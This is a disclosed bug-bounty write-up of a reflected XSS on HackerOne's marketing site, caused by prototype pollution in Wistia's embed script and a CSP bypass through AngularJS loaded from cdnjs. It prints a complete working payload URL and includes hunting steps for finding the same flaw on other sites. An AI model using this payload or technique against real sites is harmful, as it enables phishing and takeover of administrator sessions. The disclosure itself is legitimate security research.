Reflected XSS on www.hackerone.com via Wistia embed code
The Wistia embed script used on the HackerOne marketing site was vulnerable to prototype pollution through URL query parameters, which let an attacker inject arbitrary HTML into the page. Combined with an AngularJS payload loaded from an allowed CDN, this bypassed the Content Security Policy and allowed script execution in the victim's browser.
- Triaged in 43 hours
- Fixed in 4 days
- Paid in 4 days
- Disclosed after 5 days
Summary:
The HackerOne marketing site uses Wistia to host and embed videos using html snippets similar to the following:
<script
src="https://fast.wistia.com/embed/medias/t306dw04gl.jsonp"
async=""
></script>
<script src="https://fast.wistia.com/assets/external/E-v1.js" async=""></script>
<div class="wistia_embed wistia_async_t306dw04gl videoFoam=true"></div>
The issue is that the E-v1.js script is vulnerable to prototype pollution when setting up the logging, via both the url and the document referrer:
i._initializers.initWLog = function() {
var e, t, n, o, a, l, s, d, u, p, c;
if (t = i.url.parse(location.href),
document.referrer && (u = i.url.parse(document.referrer)),
If the url passed to i.url.parse contains a query parameter such as ?__proto__.ggg=1 then it will end up on the Object prototype, for example visiting https://www.hackerone.com/blog/scaling-security-startup-unicorn?__proto__[ggg]=aaa and typing Object.prototype in the console will show a new property ggg.
When initializing the embeds the script creates elements using a method elem.fromObject, which takes a hash of properties and turns it into a new element:
if (this.chrome = r.elem.fromObject({
id: r.seqId('wistia_chrome_'),
class: 'w-chrome',
style: r.generate.relativeBlockCss(),
tabindex: -1
})
If we use the prototype pollution to add innerHTML to Object, then when it is iterating over the hash keys it will find innerHTML and set it on the newly created element.
This will create an element with our html, and with a few extra parameters to prevent the script from erroring too early, it will also be added to the dom.
CSP Bypass
This allows for arbitrary html to be injected, but due to the CSP inline scripts are blocked. The CSP does allow for *.cloudflare.com to be used as a script src though, which means that angularJS can be loaded into an iframe with srcdoc and be used to bypass the CSP:
<script src="//code.angularjs.org/1.8.0/angular.js"></script>
<div ng-app>
{{media:0}}
</div>
Steps To Reproduce
- Visit
https://www.hackerone.com/blog/scaling-security-startup-unicorn?__proto__.innerHTML=<iframe%20srcdoc%3d"<script%20src%3d%26quot%3bhttps%3a//cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.min.js%26quot%3b></script><body%20ng-app%20ng-csp><img%20src%3d/%20ng-on-error%3d$event.srcElement.ownerDocument.defaultView.parent.document.body.innerHTML%3d$event.srcElement.ownerDocument.defaultView.atob('PHN0eWxlPi5pMXthbmltYXRpb246IHJsIDEuNXMgaW5maW5pdGUgbGluZWFyOyB3aWR0aDogMjgwcHh9Lmkye2FuaW1hdGlvbjogcnIgMS41cyBpbmZpbml0ZSBsaW5lYXI7IHdpZHRoOiAyODBweH1Aa2V5ZnJhbWVzIHJse2Zyb217dHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRve3RyYW5zZm9ybTogcm90YXRlKDM1OWRlZyk7fX1Aa2V5ZnJhbWVzIHJye2Zyb217dHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRve3RyYW5zZm9ybTogcm90YXRlKC0zNTlkZWcpO319PC9zdHlsZT48YSBocmVmPS8vaGFja2Vyb25lLmNvbS9jb3JiM25paz48aW1nIGNsYXNzPWkxIHNyYz0vL2VtYmVkLWZhc3RseS53aXN0aWEuY29tL2RlbGl2ZXJpZXMvYjY3OGIxMTM1ODU4YjZlMzQ3NGEyYjE4ZDU1OGE1ODQ4MTk5MjNlYi5wbmc%2BPC9hPjxhIGhyZWY9Ly9oYWNrZXJvbmUuY29tL3Zha3p6PjxpbWcgY2xhc3M9aTIgc3JjPS8vZW1iZWQtZmFzdGx5Lndpc3RpYS5jb20vZGVsaXZlcmllcy9kYjY5ZjRjMzE5NWYxYTAwNjA1NmM0N2VhZWM5NmQ2YWMyYjM3NTU4LnBuZz48L2E%2BIDxicj5kb2N1bWVudC5kb21haW4gaXM6IA%3D%3D')%2b$event.srcElement.ownerDocument.domain></body>"></iframe>{{7*7}}&__proto__.__global__=1&__proto__.t306dw04gl=1&__proto__.__wistia-t306dw04gl-1_dom_options__=1&__proto__.wistia-t306dw04gl-1=1
Impact
- Phishing attacks - if you are logged in to https://hackerone.com/ and you visit https://www.hackerone.com/ then you are redirected to your hacker dashboard. As chrome doesn't show the www so the domains look the same.
- Depending on how Drupal is setup it may be possible to target a logged in admin, eg using the xss to load
/admin/modules/installand install a malicious plugin
Context
The HackerOne marketing site, www.hackerone.com, embeds videos hosted on Wistia. The standard Wistia embed is a small block of HTML that loads a JSONP descriptor for the media and the shared player script E-v1.js, then places a placeholder div that the script turns into a player:
<script
src="https://fast.wistia.com/embed/medias/t306dw04gl.jsonp"
async=""
></script>
<script src="https://fast.wistia.com/assets/external/E-v1.js" async=""></script>
<div class="wistia_embed wistia_async_t306dw04gl videoFoam=true"></div>
The feature is ordinary third-party video embedding. The interesting part is that the embed script runs on the marketing origin and reads data that the visitor controls, namely the page URL and the Referer header.
Setup
No account, role or special tooling is described. The researcher worked against the public marketing site and inspected the behaviour of the Wistia script in the browser. The only precondition is that a page on www.hackerone.com carries a Wistia embed, which the blog posts do.
Finding it
The E-v1.js script initialises its logging by parsing both the current location and the document referrer:
i._initializers.initWLog = function() {
var e, t, n, o, a, l, s, d, u, p, c;
if (t = i.url.parse(location.href),
document.referrer && (u = i.url.parse(document.referrer)),
Both values are attacker-influenced: the URL is whatever the victim is sent to, and the referrer can be shaped by the page that links there. The parser used by i.url.parse does not guard against special keys, so a query parameter such as ?__proto__.ggg=1 is written onto Object.prototype. Visiting a blog post with a crafted query string and then evaluating Object.prototype in the console shows the new ggg property, which confirms prototype pollution from a plain URL.
Exploitation
Step 1: confirm the pollution
Appending a __proto__ parameter to any blog URL is enough:
https://www.hackerone.com/blog/scaling-security-startup-unicorn?__proto__[ggg]=aaa
After loading that page, typing Object.prototype in the console shows a ggg property that was not there before. The pollution is global to the page, so every later object operation in the Wistia script sees it.
Step 2: turn the pollution into an element
When the script builds the player chrome it creates an element from a hash of properties using elem.fromObject:
if (this.chrome = r.elem.fromObject({
id: r.seqId('wistia_chrome_'),
class: 'w-chrome',
style: r.generate.relativeBlockCss(),
tabindex: -1
})
fromObject iterates over the keys of the hash and applies each one to the new element. Because the hash inherits from Object.prototype, a polluted innerHTML key is picked up during that iteration and assigned to the freshly created element. The result is an element whose content is attacker-supplied HTML, and with a few extra parameters to stop the script erroring before it reaches the DOM insertion, that element is added to the page.
Step 3: bypass the CSP
Arbitrary HTML alone is not enough, because the site's CSP blocks inline scripts. The policy does, however, allow *.cloudflare.com as a script source. The report's bypass snippet loads AngularJS into an iframe created with srcdoc, and Angular then evaluates expressions inside that frame, giving script execution despite the inline-script restriction:
<script src="//code.angularjs.org/1.8.0/angular.js"></script>
<div ng-app>
{{7*7}}
</div>
Step 4: the full payload
The complete proof of concept is a single URL. The innerHTML value is URL-encoded and contains an iframe with a srcdoc document that loads Angular from cdnjs, runs with ng-app and ng-csp, and uses an ng-on-error handler on a broken image to reach the parent document and replace its body with attacker content decoded from base64:
https://www.hackerone.com/blog/scaling-security-startup-unicorn?__proto__.innerHTML=<iframe%20srcdoc%3d"<script%20src%3d%26quot%3bhttps%3a//cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.min.js%26quot%3b></script><body%20ng-app%20ng-csp><img%20src%3d/%20ng-on-error%3d$event.srcElement.ownerDocument.defaultView.parent.document.body.innerHTML%3d$event.srcElement.ownerDocument.defaultView.atob('[redacted]%[redacted]%[redacted]%3D%3D')%2b$event.srcElement.ownerDocument.domain></body>"></iframe>{{7*7}}&__proto__.__global__=1&__proto__.t306dw04gl=1&__proto__.__wistia-t306dw04gl-1_dom_options__=1&__proto__.wistia-t306dw04gl-1=1
The report says a few extra parameters are needed to prevent the script from erroring too early, so the element is added to the DOM.
Root cause
The Wistia embed script parses location.href and document.referrer with a URL parser that treats __proto__ as an ordinary key, so query parameters are merged into Object.prototype. The element factory elem.fromObject then copies every enumerable key of its input hash onto a new DOM element, including inherited ones, so a polluted innerHTML becomes a real assignment. The site's CSP would normally stop script execution, but its allowlist for *.cloudflare.com lets AngularJS be fetched and used to evaluate expressions inside a srcdoc iframe, which sidesteps the inline-script restriction.
Impact
The report rates this as low severity (CVSS 3.6) and describes two consequences:
- Phishing. A logged-in user of
https://hackerone.com/who visitshttps://www.hackerone.com/is redirected to their hacker dashboard. Because Chrome does not display thewww, the two domains look identical in the address bar, so a crafted marketing-site URL can be passed off as the main application. - Depending on how Drupal is configured, it may be possible to target a logged-in administrator, for example by using the XSS to load
/admin/modules/installand install a malicious plugin.
Both outcomes depend on the victim following the crafted link while the relevant session is active.
Fix
The report does not describe a fix or a change made by Wistia or HackerOne.
- Any page that loads a third-party embed or analytics script and reflects the query string into it: try
?__proto__[x]=1and checkObject.prototypein the console for the new key. - The same trick through
document.referrer: host a page that links to the target with a__proto__parameter in the URL and see whether the pollution appears on the target page. - Look for element factories that iterate over a property hash (
fromObject-style helpers) and try pollutinginnerHTML,srcor event handler attributes. - Where a CSP blocks inline script, check the allowlist for JSONP or framework CDNs that can be loaded into a
srcdociframe, as with AngularJS here.
A positive result is a new property visible on Object.prototype after loading a crafted URL, followed by attacker HTML appearing in the DOM.
Hunting notes
This class of bug hides in third-party scripts that parse the page URL or referrer and merge the result into objects, especially embed, player and analytics libraries loaded on marketing sites and blogs. During recon, look for pages that include vendor scripts from CDNs and check whether the query string survives into them. The researcher demonstrated impact by showing both the polluted prototype and a working payload that executed despite the CSP.
Timeline and reward
The report was disclosed on 24 September 2020 and paid a bounty of 500 USD.
What happened, in plain words
A security researcher found a way to make a page on HackerOne's marketing site, www.hackerone.com, run code chosen by an attacker. The trick was a single crafted web address. If a victim opened that address, the page could be made to show attacker-controlled content, and in the right circumstances run attacker-controlled script, even though the site had protections meant to stop exactly that.
The bug was not in HackerOne's own code. It was in a small script supplied by Wistia, a company that hosts and plays videos. HackerOne's blog pages embed Wistia videos, so the Wistia script runs on HackerOne's pages. That script reads the page address and the address of the page the visitor came from, and it mishandles special parts of those addresses in a way that lets an attacker plant values inside the browser's built-in JavaScript objects. Those planted values then get copied onto a new piece of the page, which is how attacker HTML ends up on the page.
The site's Content Security Policy (CSP), a browser rule that says which scripts may run, blocked the obvious next step of running inline script. But the policy allowed scripts from *.cloudflare.com, and that gap let the researcher load a JavaScript framework called AngularJS inside a frame and use it to run code anyway.
The report was rated low severity (CVSS 3.6) and paid a bounty of 500 USD. It was disclosed on 24 September 2020.
The setup: video embeds
HackerOne's marketing site uses Wistia to host and embed videos. A video embed is a small piece of HTML pasted into a page. It tells the browser to fetch a description of the video and a player script, and leaves a placeholder box that the script fills in with a video player. The standard Wistia embed looks like this:
<script
src="https://fast.wistia.com/embed/medias/t306dw04gl.jsonp"
async=""
></script>
<script src="https://fast.wistia.com/assets/external/E-v1.js" async=""></script>
<div class="wistia_embed wistia_async_t306dw04gl videoFoam=true"></div>
Line by line:
- The first
<script>tag loads a file ending in.jsonpfromfast.wistia.com. JSONP is an old technique for fetching data across websites: the server returns a snippet of JavaScript that hands data to a function already on the page. Here it carries the details of one particular video, identified by the codet306dw04gl. async=""tells the browser it can keep building the page while the file downloads, rather than waiting.- The second
<script>tag loadsE-v1.js, the shared Wistia player script. This is the file that contains the bug. It is served from Wistia's domain but runs as part of the HackerOne page, so it can read and change that page. - The
<div>is the placeholder. Its class names tell the Wistia script which video to build a player for (t306dw04gl) and that the player should resize to fit its container (videoFoam=true).
Nothing here is unusual: embedding third-party video is a normal feature. The important detail is that the embed script runs on the marketing site's own address and reads two things the visitor controls: the page URL and the Referer header. The Referer header is a line the browser sends with each request saying which page the visitor came from, like a return address on an envelope.
No account, special role or tooling is needed to reproduce this. The researcher worked against the public marketing site and watched what the Wistia script did in the browser. The only precondition is that a page on www.hackerone.com carries a Wistia embed, which the blog posts do.
Finding it: a script that trusts the address bar
When the Wistia script starts up, it sets up logging. To do that it parses both the current page address and the address of the referring page:
i._initializers.initWLog = function() {
var e, t, n, o, a, l, s, d, u, p, c;
if (t = i.url.parse(location.href),
document.referrer && (u = i.url.parse(document.referrer)),
Line by line:
i._initializers.initWLog = function() {defines a function that runs during start-up to set up logging.- The
varline just declares a batch of local variables; it does nothing interesting on its own. t = i.url.parse(location.href)takes the current page address (location.href, what you see in the address bar) and runs it through the script's own URL parser, storing the result int.document.referrer && (u = i.url.parse(document.referrer))does the same for the referring page's address, but only if there is one.document.referreris the browser's record of where the visitor came from.
Both values are influenced by an attacker. The URL is whatever the victim is sent to, and the referrer can be shaped by the page that links to the target. The parser used by i.url.parse does not guard against special key names, so a query parameter such as ?__proto__.ggg=1 gets written onto Object.prototype.
To follow that, you need two ideas. First, a query parameter is the name=value part after the ? in a URL; websites use them to pass information, such as a search term. Second, JavaScript objects inherit from a shared parent object called Object.prototype. Every ordinary object in the page looks up missing properties there. If you add a property to Object.prototype, every object in the page suddenly appears to have it. That is called prototype pollution: polluting the shared parent so that everything downstream inherits the attacker's value. A useful comparison is a company-wide default: if someone changes the default dress code for the whole company, every employee who has not set a personal preference now follows the new rule, whether they wanted to or not.
Visiting a blog post with a crafted query string and then evaluating Object.prototype in the browser console shows the new ggg property. The console is the browser's built-in developer tool where you can type JavaScript and see results. Seeing ggg there confirms prototype pollution from a plain URL.
Exploitation
Step 1: confirm the pollution
Appending a __proto__ parameter to any blog URL is enough:
https://www.hackerone.com/blog/scaling-security-startup-unicorn?__proto__[ggg]=aaa
What this does:
https://www.hackerone.com/blog/scaling-security-startup-unicornis an ordinary blog post that contains a Wistia embed.?starts the query string.__proto__[ggg]=aaais the parameter.__proto__is the special name JavaScript uses to reach an object's parent, and[ggg]says which property to set on it. The value isaaa.
After loading that page, typing Object.prototype in the console shows a ggg property that was not there before. The pollution is global to the page, so every later object operation in the Wistia script sees it. This step matters because it proves the first half of the attack with nothing more than a URL and a console command: no payload, no bypass, just the pollution.
Step 2: turn the pollution into an element
When the script builds the player's frame, it creates an element from a hash of properties using elem.fromObject. A hash here means a JavaScript object used as a bag of settings, each key naming a property and each value giving its value.
if (this.chrome = r.elem.fromObject({
id: r.seqId('wistia_chrome_'),
class: 'w-chrome',
style: r.generate.relativeBlockCss(),
tabindex: -1
})
Line by line:
if (this.chrome = r.elem.fromObject({callsfromObjectwith a settings object and stores the result inthis.chrome, the player's frame element.id: r.seqId('wistia_chrome_')gives the element a unique id, built from a prefix plus a sequence number.class: 'w-chrome'sets a CSS class so the frame can be styled.style: r.generate.relativeBlockCss()sets inline styling so the frame is laid out as a block.tabindex: -1keeps the frame out of the keyboard tab order.
fromObject iterates over the keys of the settings object and applies each one to the new element. Because the settings object inherits from Object.prototype, a polluted innerHTML key is picked up during that iteration and assigned to the freshly created element. innerHTML is the property that holds the HTML inside an element; setting it replaces the element's contents with whatever HTML you give it.
The result is an element whose content is attacker-supplied HTML. With a few extra parameters to stop the script erroring before it reaches the point where it inserts the element into the page, that element is added to the page. The extra parameters are there for reliability: the script has internal checks, and the payload has to satisfy them so it keeps going long enough to insert the polluted element.
Step 3: bypass the CSP
Arbitrary HTML alone is not enough, because the site's CSP blocks inline scripts. A CSP is a rule the site sends to the browser listing what may load and run: which script sources, which frames, and so on. Inline script, meaning JavaScript written directly inside the page rather than loaded from a file, is one of the things a CSP commonly forbids, because it is the easiest thing for an attacker to inject.
The policy does, however, allow *.cloudflare.com as a script source. The report's bypass snippet loads AngularJS into an iframe created with srcdoc, and Angular then evaluates expressions inside that frame, giving script execution despite the inline-script restriction.
Two terms need unpacking. An iframe is a page inside a page. srcdoc is an iframe attribute that lets you supply the inner page's HTML directly as text instead of pointing at a URL. AngularJS is a JavaScript framework that scans a page for expressions written in double curly braces, such as {{7*7}}, and evaluates them. That feature is meant for displaying data, but if an attacker controls the HTML, it becomes a way to run code.
<script src="//code.angularjs.org/1.8.0/angular.js"></script>
<div ng-app>
{{7*7}}
</div>
Line by line:
- The
<script>tag loads AngularJS version 1.8.0 fromcode.angularjs.org. The address starts with//, which means use the same scheme as the current page (HTTPS here). <div ng-app>marks the start of an Angular application.ng-appis Angular's instruction to take charge of this part of the page.{{7*7}}is an Angular expression. Angular evaluates it and displays the result,49, which proves the framework is running and evaluating what it is given.
Step 4: the full payload
The complete proof of concept is a single URL. The innerHTML value is URL-encoded, meaning special characters are written in a percent form so they survive being placed in an address. It contains an iframe with a srcdoc document that loads Angular from cdnjs, runs with ng-app and ng-csp, and uses an ng-on-error handler on a broken image to reach the parent document and replace its body with attacker content decoded from base64.
A few of those pieces in plain words. ng-csp tells Angular that a CSP is in force, so it avoids techniques the policy would block. ng-on-error is Angular's way of attaching code to an error event; here the image source is deliberately broken so the error fires. atob is a built-in browser function that decodes base64, a way of writing binary or text data using only ordinary characters. The parent document is the page that contains the iframe, which is the HackerOne page itself.
https://www.hackerone.com/blog/scaling-security-startup-unicorn?__proto__.innerHTML=<iframe%20srcdoc%3d"<script%20src%3d%26quot%3bhttps%3a//cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.min.js%26quot%3b></script><body%20ng-app%20ng-csp><img%20src%3d/%20ng-on-error%3d$event.srcElement.ownerDocument.defaultView.parent.document.body.innerHTML%3d$event.srcElement.ownerDocument.defaultView.atob('[redacted]%[redacted]%[redacted]%3D%3D')%2b$event.srcElement.ownerDocument.domain></body>"></iframe>{{7*7}}&__proto__.__global__=1&__proto__.t306dw04gl=1&__proto__.__wistia-t306dw04gl-1_dom_options__=1&__proto__.wistia-t306dw04gl-1=1
How to read it:
-
The base address is the same blog post, so the Wistia embed is present.
-
__proto__.innerHTML=is the pollution: it plants aninnerHTMLvalue on the shared parent object, so the Wistia element factory will pick it up. -
The value is an
<iframe>whosesrcdocholds a small page. That page loads Angular from cdnjs, marks itself withng-appandng-csp, and contains an image with a deliberately broken source (src=/). -
When the image fails to load,
ng-on-errorruns. The code walks from the image to its document, to the parent window, to the parent document's body, and sets that body'sinnerHTMLto a string decoded withatobfrom base64. The decoded content is the attacker's replacement page. -
The report says a few extra parameters are needed to prevent the script from erroring too early, so the element is added to the DOM.
Root cause
The Wistia embed script parses location.href and document.referrer with a URL parser that treats __proto__ as an ordinary key, so query parameters are merged into Object.prototype. The element factory elem.fromObject then copies every enumerable key of its input hash onto a new DOM element, including inherited ones, so a polluted innerHTML becomes a real assignment. The site's CSP would normally stop script execution, but its allowlist for *.cloudflare.com lets AngularJS be fetched and used to evaluate expressions inside a srcdoc iframe, which sidesteps the inline-script restriction.
In one sentence: untrusted input from the address bar reached a shared object, a helper copied everything it found there onto a real element, and a gap in the script allowlist turned injected HTML into running code.
Impact
The report rates this as low severity (CVSS 3.6) and describes two consequences:
- Phishing. A logged-in user of
https://hackerone.com/who visitshttps://www.hackerone.com/is redirected to their hacker dashboard. Because Chrome does not display thewww, the two domains look identical in the address bar, so a crafted marketing-site URL can be passed off as the main application. Phishing means tricking someone into trusting a page that is not what it appears to be, usually to steal a login or push them into an action. - Depending on how Drupal is configured, it may be possible to target a logged-in administrator, for example by using the XSS to load
/admin/modules/installand install a malicious plugin. Drupal is the content management system behind the site; a plugin is an add-on module that extends it. If an administrator with an active session opened the crafted link, the injected code could act with their privileges.
Both outcomes depend on the victim following the crafted link while the relevant session is active. A session is the period during which the site remembers who you are, usually via a cookie, a small piece of data the browser stores and sends back with each request.
Fix
The report does not describe a fix or a change made by Wistia or HackerOne.
If you want to look for the same pattern elsewhere, these are the angles the report suggests:
- Any page that loads a third-party embed or analytics script and reflects the query string into it: try
?__proto__[x]=1and checkObject.prototypein the console for the new key. - The same trick through
document.referrer: host a page that links to the target with a__proto__parameter in the URL and see whether the pollution appears on the target page. - Look for element factories that iterate over a property hash (
fromObject-style helpers) and try pollutinginnerHTML,srcor event handler attributes. - Where a CSP blocks inline script, check the allowlist for JSONP or framework CDNs that can be loaded into a
srcdociframe, as with AngularJS here.
A positive result is a new property visible on Object.prototype after loading a crafted URL, followed by attacker HTML appearing in the DOM. The DOM is the browser's live model of the page: the tree of elements you see and interact with.
Hunting notes
This class of bug hides in third-party scripts that parse the page URL or referrer and merge the result into objects, especially embed, player and analytics libraries loaded on marketing sites and blogs. During recon, meaning the early information-gathering phase of a test, look for pages that include vendor scripts from CDNs and check whether the query string survives into them. The researcher demonstrated impact by showing both the polluted prototype and a working payload that executed despite the CSP.
Timeline and reward
The report was disclosed on 24 September 2020 and paid a bounty of 500 USD.
Glossary
- AngularJS: a JavaScript framework that scans a page for expressions in double curly braces and evaluates them; useful for building pages, dangerous when an attacker controls the HTML.
- atob: a built-in browser function that decodes a base64 string back into text.
- base64: a way of writing data using only ordinary characters, often used to carry text safely inside URLs or HTML.
- Bounty: a payment a company makes to a researcher who reports a valid security bug.
- CDN: a content delivery network, a set of servers that host files such as scripts and images so they load quickly from anywhere.
- Console: the browser's developer tool where you can type JavaScript and see results.
- Cookie: a small piece of data a site stores in the browser and gets back with later requests, often used to remember a logged-in session.
- CSP (Content Security Policy): a rule a site sends to the browser listing what may load and run, such as which script sources and frames are allowed.
- CVSS: a scoring system that rates the severity of a vulnerability, usually from 0 to 10.
- DOM: the browser's live model of a page, the tree of elements you see and interact with.
- Drupal: a content management system used to build and run websites.
- Element: one piece of a web page, such as a paragraph, an image or a frame.
- Enumerable: a property that shows up when code loops over an object's keys.
- Hash: here, a JavaScript object used as a bag of settings, each key naming a property and each value giving its value.
- HTML: the language that describes the structure and content of a web page.
- iframe: a page embedded inside another page.
- innerHTML: the property that holds the HTML inside an element; setting it replaces the element's contents.
- Inline script: JavaScript written directly inside a page rather than loaded from a separate file.
- JSONP: an old technique for fetching data across websites by returning a snippet of JavaScript that hands data to a function already on the page.
- Object.prototype: the shared parent object that every ordinary JavaScript object inherits from; adding a property there makes it appear on every object.
- Phishing: tricking someone into trusting a page that is not what it appears to be, usually to steal a login or push them into an action.
- Plugin: an add-on module that extends a content management system such as Drupal.
- Prototype pollution: adding properties to a shared parent object so that every object downstream inherits the attacker's value.
- Query parameter: the
name=valuepart after the?in a URL, used to pass information to a page. - Recon: the early information-gathering phase of a security test.
- Referer header: a line the browser sends with each request saying which page the visitor came from.
- Session: the period during which a site remembers who you are, usually via a cookie.
- Severity: how serious a vulnerability is judged to be, often expressed with CVSS.
- srcdoc: an iframe attribute that supplies the inner page's HTML directly as text instead of pointing at a URL.
- URL: the address of a page or file, as shown in the address bar.
- Wistia: a service that hosts and plays videos for websites.
- XSS (Cross-site Scripting): a vulnerability where an attacker gets their own code to run inside someone else's website, in a victim's browser.